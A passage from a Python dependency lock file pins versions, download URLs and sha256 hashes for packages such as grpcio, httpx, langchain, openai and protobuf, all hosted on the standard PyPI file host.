274 | name = "grpcio"
275 | version = "1.71.0"
276 | source = { registry = "https://pypi.org/simple" }
277 | sdist = { url = "https://files.pythonhosted.org/packages/1c/95/aa11fc09a85d91fbc7dd405dcb2a1e0256989d67bf89fa65ae24b3ba105a/grpcio-1.71.0.tar.gz", hash = "sha256:2b85f7820475ad3edec209d3d89a7909ada16caab05d3f2e08a7e8ae3200a55c", size = 12549828 }
278 | wheels = [
279 | { url = "https://files.pythonhosted.org/packages/04/dd/b00cbb45400d06b26126dcfdbdb34bb6c4f28c3ebbd7aea8228679103ef6/grpcio-1.71.0-cp313-cp313-linux_armv7l.whl", hash = "sha256:cebc1b34ba40a312ab480ccdb396ff3c529377a2fce72c45a741f7215bfe8379", size = 5184138 },
280 | { url = "https://files.pythonhosted.org/packages/ed/0a/4651215983d590ef53aac40ba0e29dda941a02b097892c44fa3357e706e5/grpcio-1.71.0-cp313-cp313-macosx_10_14_universal2.whl", hash = "sha256:85da336e3649a3d2171e82f696b5cad2c6231fdd5bad52616476235681bee5b3", size = 11310747 },
281 | { url = "https://files.pythonhosted.org/packages/57/a3/149615b247f321e13f60aa512d3509d4215173bdb982c9098d78484de216/grpcio-1.71.0-cp313-cp313-manylinux_2_17_aarch64.whl", hash = "sha256:f9a412f55bb6e8f3bb000e020dbc1e709627dcb3a56f6431fa7076b4c1aab0db", size = 5653991 },
282 | { url = "https://files.pythonhosted.org/packages/ca/56/29432a3e8d951b5e4e520a40cd93bebaa824a14033ea8e65b0ece1da6167/grpcio-1.71.0-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:47be9584729534660416f6d2a3108aaeac1122f6b5bdbf9fd823e11fe6fbaa29", size = 6312781 },
283 | { url = "https://files.pythonhosted.org/packages/a3/f8/286e81a62964ceb6ac10b10925261d4871a762d2a763fbf354115f9afc98/grpcio-1.71.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7c9c80ac6091c916db81131d50926a93ab162a7e97e4428ffc186b6e80d6dda4", size = 5910479 },
284 | { url = "https://files.pythonhosted.org/packages/35/67/d1febb49ec0f599b9e6d4d0d44c2d4afdbed9c3e80deb7587ec788fcf252/grpcio-1.71.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:789d5e2a3a15419374b7b45cd680b1e83bbc1e52b9086e49308e2c0b5bbae6e3", size = 6013262 },
285 | { url = "https://files.pythonhosted.org/packages/a1/04/f9ceda11755f0104a075ad7163fc0d96e2e3a9fe25ef38adfc74c5790daf/grpcio-1.71.0-cp313-cp313-musllinux_1_1_i686.whl", hash = "sha256:1be857615e26a86d7363e8a163fade914595c81fec962b3d514a4b1e8760467b", size = 6643356 },
286 | { url = "https://files.pythonhosted.org/packages/fb/ce/236dbc3dc77cf9a9242adcf1f62538734ad64727fabf39e1346ad4bd5c75/grpcio-1.71.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:a76d39b5fafd79ed604c4be0a869ec3581a172a707e2a8d7a4858cb05a5a7637", size = 6186564 },
287 | { url = "https://files.pythonhosted.org/packages/10/fd/b3348fce9dd4280e221f513dd54024e765b21c348bc475516672da4218e9/grpcio-1.71.0-cp313-cp313-win32.whl", hash = "sha256:74258dce215cb1995083daa17b379a1a5a87d275387b7ffe137f1d5131e2cfbb", size = 3601890 },
288 | { url = "https://files.pythonhosted.org/packages/be/f8/db5d5f3fc7e296166286c2a397836b8b042f7ad1e11028d82b061701f0f7/grpcio-1.71.0-cp313-cp313-win_amd64.whl", hash = "sha256:22c3bc8d488c039a199f7a003a38cb7635db6656fa96437a8accde8322ce2366", size = 4273308 },
289 | ]
290 |
291 | [[package]]
292 | name = "grpcio-status"
293 | version = "1.71.0"
294 | source = { registry = "https://pypi.org/simple" }
295 | dependencies = [
296 | { name = "googleapis-common-protos" },
297 | { name = "grpcio" },
298 | { name = "protobuf" },
299 | ]
300 | sdist = { url = "https://files.pythonhosted.org/packages/d7/53/a911467bece076020456401f55a27415d2d70d3bc2c37af06b44ea41fc5c/grpcio_status-1.71.0.tar.gz", hash = "sha256:11405fed67b68f406b3f3c7c5ae5104a79d2d309666d10d61b152e91d28fb968", size = 13669 }
301 | wheels = [
302 | { url = "https://files.pythonhosted.org/packages/ad/d6/31fbc43ff097d8c4c9fc3df741431b8018f67bf8dfbe6553a555f6e5f675/grpcio_status-1.71.0-py3-none-any.whl", hash = "sha256:843934ef8c09e3e858952887467f8256aac3910c55f077a359a65b2b3cde3e68", size = 14424 },
303 | ]
304 |
305 | [[package]]
306 | name = "h11"
307 | version = "0.14.0"
308 | source = { registry = "https://pypi.org/simple" }
309 | sdist = { url = "https://files.pythonhosted.org/packages/f5/38/3af3d3633a34a3316095b39c8e8fb4853a28a536e55d347bd8d8e9a14b03/h11-0.14.0.tar.gz", hash = "sha256:8f19fbbe99e72420ff35c00b27a34cb9937e902a8b810e2c88300c6f0a3b699d", size = 100418 }
310 | wheels = [
311 | { url = "https://files.pythonhosted.org/packages/95/04/ff642e65ad6b90db43e668d70ffb6736436c7ce41fcc549f4e9472234127/h11-0.14.0-py3-none-any.whl", hash = "sha256:e3fe4ac4b851c468cc8363d500db52c2ead036020723024a109d37346efaa761", size = 58259 },
312 | ]
313 |
314 | [[package]]
315 | name = "httpcore"
316 | version = "1.0.8"
317 | source = { registry = "https://pypi.org/simple" }
318 | dependencies = [
319 | { name = "certifi" },
320 | { name = "h11" },
321 | ]
322 | sdist = { url = "https://files.pythonhosted.org/packages/9f/45/ad3e1b4d448f22c0cff4f5692f5ed0666658578e358b8d58a19846048059/httpcore-1.0.8.tar.gz", hash = "sha256:86e94505ed24ea06514883fd44d2bc02d90e77e7979c8eb71b90f41d364a1bad", size = 85385 }
323 | wheels = [
324 | { url = "https://files.pythonhosted.org/packages/18/8d/f052b1e336bb2c1fc7ed1aaed898aa570c0b61a09707b108979d9fc6e308/httpcore-1.0.8-py3-none-any.whl", hash = "sha256:5254cf149bcb5f75e9d1b2b9f729ea4a4b883d1ad7379fc632b727cec23674be", size = 78732 },
325 | ]
326 |
327 | [[package]]
328 | name = "httpx"
329 | version = "0.28.1"
330 | source = { registry = "https://pypi.org/simple" }
331 | dependencies = [
332 | { name = "anyio" },
333 | { name = "certifi" },
334 | { name = "httpcore" },
335 | { name = "idna" },
336 | ]
337 | sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406 }
338 | wheels = [
339 | { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517 },
340 | ]
341 |
342 | [[package]]
343 | name = "idna"
344 | version = "3.10"
345 | source = { registry = "https://pypi.org/simple" }
346 | sdist = { url = "https://files.pythonhosted.org/packages/f1/70/7703c29685631f5a7590aa73f1f1d3fa9a380e654b86af429e0934a32f7d/idna-3.10.tar.gz", hash = "sha256:12f65c9b470abda6dc35cf8e63cc574b1c52b11df2c86030af0ac09b01b13ea9", size = 190490 }
347 | wheels = [
348 | { url = "https://files.pythonhosted.org/packages/76/c6/c88e154df9c4e1a2a66ccf0005a88dfb2650c1dffb6f5ce603dfbd452ce3/idna-3.10-py3-none-any.whl", hash = "sha256:946d195a0d259cbba61165e88e65941f16e9b36ea6ddb97f00452bae8b1287d3", size = 70442 },
349 | ]
350 |
351 | [[package]]
352 | name = "jiter"
353 | version = "0.9.0"
354 | source = { registry = "https://pypi.org/simple" }
355 | sdist = { url = "https://files.pythonhosted.org/packages/1e/c2/e4562507f52f0af7036da125bb699602ead37a2332af0788f8e0a3417f36/jiter-0.9.0.tar.gz", hash = "sha256:aadba0964deb424daa24492abc3d229c60c4a31bfee205aedbf1acc7639d7893", size = 162604 }
356 | wheels = [
357 | { url = "https://files.pythonhosted.org/packages/e7/1b/4cd165c362e8f2f520fdb43245e2b414f42a255921248b4f8b9c8d871ff1/jiter-0.9.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:2764891d3f3e8b18dce2cff24949153ee30c9239da7c00f032511091ba688ff7", size = 308197 },
358 | { url = "https://files.pythonhosted.org/packages/13/aa/7a890dfe29c84c9a82064a9fe36079c7c0309c91b70c380dc138f9bea44a/jiter-0.9.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:387b22fbfd7a62418d5212b4638026d01723761c75c1c8232a8b8c37c2f1003b", size = 318160 },
359 | { url = "https://files.pythonhosted.org/packages/6a/38/5888b43fc01102f733f085673c4f0be5a298f69808ec63de55051754e390/jiter-0.9.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:40d8da8629ccae3606c61d9184970423655fb4e33d03330bcdfe52d234d32f69", size = 341259 },
360 | { url = "https://files.pythonhosted.org/packages/3d/5e/bbdbb63305bcc01006de683b6228cd061458b9b7bb9b8d9bc348a58e5dc2/jiter-0.9.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a1be73d8982bdc278b7b9377426a4b44ceb5c7952073dd7488e4ae96b88e1103", size = 363730 },
361 | { url = "https://files.pythonhosted.org/packages/75/85/53a3edc616992fe4af6814c25f91ee3b1e22f7678e979b6ea82d3bc0667e/jiter-0.9.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2228eaaaa111ec54b9e89f7481bffb3972e9059301a878d085b2b449fbbde635", size = 405126 },
362 | { url = "https://files.pythonhosted.org/packages/ae/b3/1ee26b12b2693bd3f0b71d3188e4e5d817b12e3c630a09e099e0a89e28fa/jiter-0.9.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:11509bfecbc319459647d4ac3fd391d26fdf530dad00c13c4dadabf5b81f01a4", size = 393668 },
363 | { url = "https://files.pythonhosted.org/packages/11/87/e084ce261950c1861773ab534d49127d1517b629478304d328493f980791/jiter-0.9.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3f22238da568be8bbd8e0650e12feeb2cfea15eda4f9fc271d3b362a4fa0604d", size = 352350 },
364 | { url = "https://files.pythonhosted.org/packages/f0/06/7dca84b04987e9df563610aa0bc154ea176e50358af532ab40ffb87434df/jiter-0.9.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:17f5d55eb856597607562257c8e36c42bc87f16bef52ef7129b7da11afc779f3", size = 384204 },
365 | { url = "https://files.pythonhosted.org/packages/16/2f/82e1c6020db72f397dd070eec0c85ebc4df7c88967bc86d3ce9864148f28/jiter-0.9.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:6a99bed9fbb02f5bed416d137944419a69aa4c423e44189bc49718859ea83bc5", size = 520322 },
366 | { url = "https://files.pythonhosted.org/packages/36/fd/4f0cd3abe83ce208991ca61e7e5df915aa35b67f1c0633eb7cf2f2e88ec7/jiter-0.9.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:e057adb0cd1bd39606100be0eafe742de2de88c79df632955b9ab53a086b3c8d", size = 512184 },
367 | { url = "https://files.pythonhosted.org/packages/a0/3c/8a56f6d547731a0b4410a2d9d16bf39c861046f91f57c98f7cab3d2aa9ce/jiter-0.9.0-cp313-cp313-win32.whl", hash = "sha256:f7e6850991f3940f62d387ccfa54d1a92bd4bb9f89690b53aea36b4364bcab53", size = 206504 },
368 | { url = "https://files.pythonhosted.org/packages/f4/1c/0c996fd90639acda75ed7fa698ee5fd7d80243057185dc2f63d4c1c9f6b9/jiter-0.9.0-cp313-cp313-win_amd64.whl", hash = "sha256:c8ae3bf27cd1ac5e6e8b7a27487bf3ab5f82318211ec2e1346a5b058756361f7", size = 204943 },
369 | { url = "https://files.pythonhosted.org/packages/78/0f/77a63ca7aa5fed9a1b9135af57e190d905bcd3702b36aca46a01090d39ad/jiter-0.9.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:f0b2827fb88dda2cbecbbc3e596ef08d69bda06c6f57930aec8e79505dc17001", size = 317281 },
370 | { url = "https://files.pythonhosted.org/packages/f9/39/a3a1571712c2bf6ec4c657f0d66da114a63a2e32b7e4eb8e0b83295ee034/jiter-0.9.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:062b756ceb1d40b0b28f326cba26cfd575a4918415b036464a52f08632731e5a", size = 350273 },
371 | { url = "https://files.pythonhosted.org/packages/ee/47/3729f00f35a696e68da15d64eb9283c330e776f3b5789bac7f2c0c4df209/jiter-0.9.0-cp313-cp313t-win_amd64.whl", hash = "sha256:6f7838bc467ab7e8ef9f387bd6de195c43bad82a569c1699cb822f6609dd4cdf", size = 206867 },
372 | ]
373 |
374 | [[package]]
375 | name = "jsonpatch"
376 | version = "1.33"
377 | source = { registry = "https://pypi.org/simple" }
378 | dependencies = [
379 | { name = "jsonpointer" },
380 | ]
381 | sdist = { url = "https://files.pythonhosted.org/packages/42/78/18813351fe5d63acad16aec57f94ec2b70a09e53ca98145589e185423873/jsonpatch-1.33.tar.gz", hash = "sha256:9fcd4009c41e6d12348b4a0ff2563ba56a2923a7dfee731d004e212e1ee5030c", size = 21699 }
382 | wheels = [
383 | { url = "https://files.pythonhosted.org/packages/73/07/02e16ed01e04a374e644b575638ec7987ae846d25ad97bcc9945a3ee4b0e/jsonpatch-1.33-py2.py3-none-any.whl", hash = "sha256:0ae28c0cd062bbd8b8ecc26d7d164fbbea9652a1a3693f3b956c1eae5145dade", size = 12898 },
384 | ]
385 |
386 | [[package]]
387 | name = "jsonpointer"
388 | version = "3.0.0"
389 | source = { registry = "https://pypi.org/simple" }
390 | sdist = { url = "https://files.pythonhosted.org/packages/6a/0a/eebeb1fa92507ea94016a2a790b93c2ae41a7e18778f85471dc54475ed25/jsonpointer-3.0.0.tar.gz", hash = "sha256:2b2d729f2091522d61c3b31f82e11870f60b68f43fbc705cb76bf4b832af59ef", size = 9114 }
391 | wheels = [
392 | { url = "https://files.pythonhosted.org/packages/71/92/5e77f98553e9e75130c78900d000368476aed74276eb8ae8796f65f00918/jsonpointer-3.0.0-py2.py3-none-any.whl", hash = "sha256:13e088adc14fca8b6aa8177c044e12701e6ad4b28ff10e65f2267a90109c9942", size = 7595 },
393 | ]
394 |
395 | [[package]]
396 | name = "langchain"
397 | version = "0.3.23"
398 | source = { registry = "https://pypi.org/simple" }
399 | dependencies = [
400 | { name = "langchain-core" },
401 | { name = "langchain-text-splitters" },
402 | { name = "langsmith" },
403 | { name = "pydantic" },
404 | { name = "pyyaml" },
405 | { name = "requests" },
406 | { name = "sqlalchemy" },
407 | ]
408 | sdist = { url = "https://files.pythonhosted.org/packages/47/ea/b0de568ca17614d5c00275c4ca506af4139cc7c51d0418802b2447055c00/langchain-0.3.23.tar.gz", hash = "sha256:d95004afe8abebb52d51d6026270248da3f4b53d93e9bf699f76005e0c83ad34", size = 10225576 }
409 | wheels = [
410 | { url = "https://files.pythonhosted.org/packages/d4/49/6e933837da1931c9db745967282ff8bfff51bc3faec0eade846b12203b75/langchain-0.3.23-py3-none-any.whl", hash = "sha256:084f05ee7e80b7c3f378ebadd7309f2a37868ce2906fa0ae64365a67843ade3d", size = 1011778 },
411 | ]
412 |
413 | [[package]]
414 | name = "langchain-core"
415 | version = "0.3.52"
416 | source = { registry = "https://pypi.org/simple" }
417 | dependencies = [
418 | { name = "jsonpatch" },
419 | { name = "langsmith" },
420 | { name = "packaging" },
421 | { name = "pydantic" },
422 | { name = "pyyaml" },
423 | { name = "tenacity" },
424 | { name = "typing-extensions" },
425 | ]
426 | sdist = { url = "https://files.pythonhosted.org/packages/e0/5e/55fe9d77fce032191012454297ce19c4fdfb3801f7887a4907e923cd8886/langchain_core-0.3.52.tar.gz", hash = "sha256:f1981ec9efa4fceb11ff5ca57f5f9c8e22859cea3a94f8a044e6de8815afbd57", size = 552963 }
427 | wheels = [
428 | { url = "https://files.pythonhosted.org/packages/05/78/782a9e600377ca73339943e96776daf70bed38ddc69313dd769c505dad6f/langchain_core-0.3.52-py3-none-any.whl", hash = "sha256:cd137109c1e3d04f5a582c2cae9539b2cd5e4b795f486b58969dbc3d0387fe7c", size = 433586 },
429 | ]
430 |
431 | [[package]]
432 | name = "langchain-google-genai"
433 | version = "2.1.3"
434 | source = { registry = "https://pypi.org/simple" }
435 | dependencies = [
436 | { name = "filetype" },
437 | { name = "google-ai-generativelanguage" },
438 | { name = "langchain-core" },
439 | { name = "pydantic" },
440 | ]
441 | sdist = { url = "https://files.pythonhosted.org/packages/66/82/52a0dfc0a605122fd9c8381f33536be5806cbeeb52d79b900986d1de3929/langchain_google_genai-2.1.3.tar.gz", hash = "sha256:0d4e2abf01a7594a9420d3569cf2cd4239a01cc24c6698d3c2c92a072b9b7b4a", size = 39647 }
442 | wheels = [
443 | { url = "https://files.pythonhosted.org/packages/74/c9/d8064bca5fabb6f7fc191696e4680a446f3c3c3a95f2f1ed760f0a89cda6/langchain_google_genai-2.1.3-py3-none-any.whl", hash = "sha256:adf222931ac7af543f4013751a9b7dbd9ed637fb4eb3e4e0cd7e1d5d7e066d36", size = 43698 },
444 | ]
445 |
446 | [[package]]
447 | name = "langchain-openai"
448 | version = "0.3.13"
449 | source = { registry = "https://pypi.org/simple" }
450 | dependencies = [
451 | { name = "langchain-core" },
452 | { name = "openai" },
453 | { name = "tiktoken" },
454 | ]
455 | sdist = { url = "https://files.pythonhosted.org/packages/87/b6/c8e86fa8fd3c6feab9c976da505e29abb50fc29fd323f869d14645d077a5/langchain_openai-0.3.13.tar.gz", hash = "sha256:75038efbf686f4b5fe2b6bdb75c43790d563ecd61984fd1d51d6d51c53609d64", size = 269759 }
456 | wheels = [
457 | { url = "https://files.pythonhosted.org/packages/6d/9d/be6d6a15b22a97209060f4f10d7160626bb173c4b986db373972c965b9c8/langchain_openai-0.3.13-py3-none-any.whl", hash = "sha256:2ca3f1865df32d03c3bd85c77f11f0ffd81b157b4e363291741c65c81463606a", size = 61691 },
458 | ]
459 |
460 | [[package]]
461 | name = "langchain-text-splitters"
462 | version = "0.3.8"
463 | source = { registry = "https://pypi.org/simple" }
464 | dependencies = [
465 | { name = "langchain-core" },
466 | ]
467 | sdist = { url = "https://files.pythonhosted.org/packages/e7/ac/b4a25c5716bb0103b1515f1f52cc69ffb1035a5a225ee5afe3aed28bf57b/langchain_text_splitters-0.3.8.tar.gz", hash = "sha256:116d4b9f2a22dda357d0b79e30acf005c5518177971c66a9f1ab0edfdb0f912e", size = 42128 }
468 | wheels = [
469 | { url = "https://files.pythonhosted.org/packages/8b/a3/3696ff2444658053c01b6b7443e761f28bb71217d82bb89137a978c5f66f/langchain_text_splitters-0.3.8-py3-none-any.whl", hash = "sha256:e75cc0f4ae58dcf07d9f18776400cf8ade27fadd4ff6d264df6278bb302f6f02", size = 32440 },
470 | ]
471 |
472 | [[package]]
473 | name = "langsmith"
474 | version = "0.3.31"
475 | source = { registry = "https://pypi.org/simple" }
476 | dependencies = [
477 | { name = "httpx" },
478 | { name = "orjson", marker = "platform_python_implementation != 'PyPy'" },
479 | { name = "packaging" },
480 | { name = "pydantic" },
481 | { name = "requests" },
482 | { name = "requests-toolbelt" },
483 | { name = "zstandard" },
484 | ]
485 | sdist = { url = "https://files.pythonhosted.org/packages/a5/d0/59101fe1ad16a914b1ebde82c2b24524872dae5feff2d5b7405ab3b82f47/langsmith-0.3.31.tar.gz", hash = "sha256:8d20bd08fa6c3bce54cb600ddc521cd218a1c3410f90d9266179bf83a7ff0897", size = 343600 }
486 | wheels = [
487 | { url = "https://files.pythonhosted.org/packages/64/c3/5db3d0977bb53e16eab834f2eea6e1c68d327e2f5c25b88f6506ef06e692/langsmith-0.3.31-py3-none-any.whl", hash = "sha256:ee780ae3eac69998c336817c0b9f5ccfecaaaa3e67d94b7ef726b58ab3e72a25", size = 358251 },
488 | ]
489 |
490 | [[package]]
491 | name = "openai"
492 | version = "1.75.0"
493 | source = { registry = "https://pypi.org/simple" }
494 | dependencies = [
495 | { name = "anyio" },
496 | { name = "distro" },
497 | { name = "httpx" },
498 | { name = "jiter" },
499 | { name = "pydantic" },
500 | { name = "sniffio" },
501 | { name = "tqdm" },
502 | { name = "typing-extensions" },
503 | ]
504 | sdist = { url = "https://files.pythonhosted.org/packages/99/b1/318f5d4c482f19c5fcbcde190801bfaaaec23413cda0b88a29f6897448ff/openai-1.75.0.tar.gz", hash = "sha256:fb3ea907efbdb1bcfd0c44507ad9c961afd7dce3147292b54505ecfd17be8fd1", size = 429492 }
505 | wheels = [
506 | { url = "https://files.pythonhosted.org/packages/80/9a/f34f163294345f123673ed03e77c33dee2534f3ac1f9d18120384457304d/openai-1.75.0-py3-none-any.whl", hash = "sha256:fe6f932d2ded3b429ff67cc9ad118c71327db32eb9d32dd723de3acfca337125", size = 646972 },
507 | ]
508 |
509 | [[package]]
510 | name = "orjson"
511 | version = "3.10.16"
512 | source = { registry = "https://pypi.org/simple" }
513 | sdist = { url = "https://files.pythonhosted.org/packages/98/c7/03913cc4332174071950acf5b0735463e3f63760c80585ef369270c2b372/orjson-3.10.16.tar.gz", hash = "sha256:d2aaa5c495e11d17b9b93205f5fa196737ee3202f000aaebf028dc9a73750f10", size = 5410415 }
514 | wheels = [
515 | { url = "https://files.pythonhosted.org/packages/87/b9/ff6aa28b8c86af9526160905593a2fe8d004ac7a5e592ee0b0ff71017511/orjson-3.10.16-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:148a97f7de811ba14bc6dbc4a433e0341ffd2cc285065199fb5f6a98013744bd", size = 249289 },
516 | { url = "https://files.pythonhosted.org/packages/6c/81/6d92a586149b52684ab8fd70f3623c91d0e6a692f30fd8c728916ab2263c/orjson-3.10.16-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:1d960c1bf0e734ea36d0adc880076de3846aaec45ffad29b78c7f1b7962516b8", size = 133640 },
517 | { url = "https://files.pythonhosted.org/packages/c2/88/b72443f4793d2e16039ab85d0026677932b15ab968595fb7149750d74134/orjson-3.10.16-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a318cd184d1269f68634464b12871386808dc8b7c27de8565234d25975a7a137", size = 138286 },
518 | { url = "https://files.pythonhosted.org/packages/c3/3c/72a22d4b28c076c4016d5a52bd644a8e4d849d3bb0373d9e377f9e3b2250/orjson-3.10.16-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:df23f8df3ef9223d1d6748bea63fca55aae7da30a875700809c500a05975522b", size = 132307 },
519 | { url = "https://files.pythonhosted.org/packages/8a/a2/f1259561bdb6ad7061ff1b95dab082fe32758c4bc143ba8d3d70831f0a06/orjson-3.10.16-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b94dda8dd6d1378f1037d7f3f6b21db769ef911c4567cbaa962bb6dc5021cf90", size = 136739 },
520 | { url = "https://files.pythonhosted.org/packages/3d/af/c7583c4b34f33d8b8b90cfaab010ff18dd64e7074cc1e117a5f1eff20dcf/orjson-3.10.16-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f12970a26666a8775346003fd94347d03ccb98ab8aa063036818381acf5f523e", size = 138076 },
521 | { url = "https://files.pythonhosted.org/packages/d7/59/d7fc7fbdd3d4a64c2eae4fc7341a5aa39cf9549bd5e2d7f6d3c07f8b715b/orjson-3.10.16-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:15a1431a245d856bd56e4d29ea0023eb4d2c8f71efe914beb3dee8ab3f0cd7fb", size = 142643 },
522 | { url = "https://files.pythonhosted.org/packages/92/0e/3bd8f2197d27601f16b4464ae948826da2bcf128af31230a9dbbad7ceb57/orjson-3.10.16-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c83655cfc247f399a222567d146524674a7b217af7ef8289c0ff53cfe8db09f0", size = 133168 },
523 | { url = "https://files.pythonhosted.org/packages/af/a8/351fd87b664b02f899f9144d2c3dc848b33ac04a5df05234cbfb9e2a7540/orjson-3.10.16-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:fa59ae64cb6ddde8f09bdbf7baf933c4cd05734ad84dcf4e43b887eb24e37652", size = 135271 },
524 | { url = "https://files.pythonhosted.org/packages/ba/b0/a6d42a7d412d867c60c0337d95123517dd5a9370deea705ea1be0f89389e/orjson-3.10.16-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:ca5426e5aacc2e9507d341bc169d8af9c3cbe88f4cd4c1cf2f87e8564730eb56", size = 412444 },
525 | { url = "https://files.pythonhosted.org/packages/79/ec/7572cd4e20863f60996f3f10bc0a6da64a6fd9c35954189a914cec0b7377/orjson-3.10.16-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:6fd5da4edf98a400946cd3a195680de56f1e7575109b9acb9493331047157430", size = 152737 },
526 | { url = "https://files.pythonhosted.org/packages/a9/19/ceb9e8fed5403b2e76a8ac15f581b9d25780a3be3c9b3aa54b7777a210d5/orjson-3.10.16-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:980ecc7a53e567169282a5e0ff078393bac78320d44238da4e246d71a4e0e8f5", size = 137482 },
527 | { url = "https://files.pythonhosted.org/packages/1b/78/a78bb810f3786579dbbbd94768284cbe8f2fd65167cd7020260679665c17/orjson-3.10.16-cp313-cp313-win32.whl", hash = "sha256:28f79944dd006ac540a6465ebd5f8f45dfdf0948ff998eac7a908275b4c1add6", size = 141714 },
528 | { url = "https://files.pythonhosted.org/packages/81/9c/b66ce9245ff319df2c3278acd351a3f6145ef34b4a2d7f4b0f739368370f/orjson-3.10.16-cp313-cp313-win_amd64.whl", hash = "sha256:fe0a145e96d51971407cb8ba947e63ead2aa915db59d6631a355f5f2150b56b7", size = 133954 },
529 | ]
530 |
531 | [[package]]
532 | name = "packaging"
533 | version = "24.2"
534 | source = { registry = "https://pypi.org/simple" }
535 | sdist = { url = "https://files.pythonhosted.org/packages/d0/63/68dbb6eb2de9cb10ee4c9c14a0148804425e13c4fb20d61cce69f53106da/packaging-24.2.tar.gz", hash = "sha256:c228a6dc5e932d346bc5739379109d49e8853dd8223571c7c5b55260edc0b97f", size = 163950 }
536 | wheels = [
537 | { url = "https://files.pythonhosted.org/packages/88/ef/eb23f262cca3c0c4eb7ab1933c3b1f03d021f2c48f54763065b6f0e321be/packaging-24.2-py3-none-any.whl", hash = "sha256:09abb1bccd265c01f4a3aa3f7a7db064b36514d2cba19a2f694fe6150451a759", size = 65451 },
538 | ]
539 |
540 | [[package]]
541 | name = "proto-plus"
542 | version = "1.26.1"
543 | source = { registry = "https://pypi.org/simple" }
544 | dependencies = [
545 | { name = "protobuf" },
546 | ]
547 | sdist = { url = "https://files.pythonhosted.org/packages/f4/ac/87285f15f7cce6d4a008f33f1757fb5a13611ea8914eb58c3d0d26243468/proto_plus-1.26.1.tar.gz", hash = "sha256:21a515a4c4c0088a773899e23c7bbade3d18f9c66c73edd4c7ee3816bc96a012", size = 56142 }
548 | wheels = [
549 | { url = "https://files.pythonhosted.org/packages/4e/6d/280c4c2ce28b1593a19ad5239c8b826871fc6ec275c21afc8e1820108039/proto_plus-1.26.1-py3-none-any.whl", hash = "sha256:13285478c2dcf2abb829db158e1047e2f1e8d63a077d94263c2b88b043c75a66", size = 50163 },
550 | ]
551 |
552 | [[package]]
553 | name = "protobuf"
554 | version = "5.29.4"
555 | source = { registry = "https://pypi.org/simple" }
556 | sdist = { url = "https://files.pythonhosted.org/packages/17/7d/b9dca7365f0e2c4fa7c193ff795427cfa6290147e5185ab11ece280a18e7/protobuf-5.29.4.tar.gz", hash = "sha256:4f1dfcd7997b31ef8f53ec82781ff434a28bf71d9102ddde14d076adcfc78c99", size = 424902 }
557 | wheels = [
558 | { url = "https://files.pythonhosted.org/packages/9a/b2/043a1a1a20edd134563699b0e91862726a0dc9146c090743b6c44d798e75/protobuf-5.29.4-cp310-abi3-win32.whl", hash = "sha256:13eb236f8eb9ec34e63fc8b1d6efd2777d062fa6aaa68268fb67cf77f6839ad7", size = 422709 },
559 | { url = "https://files.pythonhosted.org/packages/79/fc/2474b59570daa818de6124c0a15741ee3e5d6302e9d6ce0bdfd12e98119f/protobuf-5.29.4-cp310-abi3-win_amd64.whl", hash = "sha256:bcefcdf3976233f8a502d265eb65ea740c989bacc6c30a58290ed0e519eb4b8d", size = 434506 },
560 | { url = "https://files.pythonhosted.org/packages/46/de/7c126bbb06aa0f8a7b38aaf8bd746c514d70e6a2a3f6dd460b3b7aad7aae/protobuf-5.29.4-cp38-abi3-macosx_10_9_universal2.whl", hash = "sha256:307ecba1d852ec237e9ba668e087326a67564ef83e45a0189a772ede9e854dd0", size = 417826 },
561 | { url = "https://files.pythonhosted.org/packages/a2/b5/bade14ae31ba871a139aa45e7a8183d869efe87c34a4850c87b936963261/protobuf-5.29.4-cp38-abi3-manylinux2014_aarch64.whl", hash = "sha256:aec4962f9ea93c431d5714ed1be1c93f13e1a8618e70035ba2b0564d9e633f2e", size = 319574 },
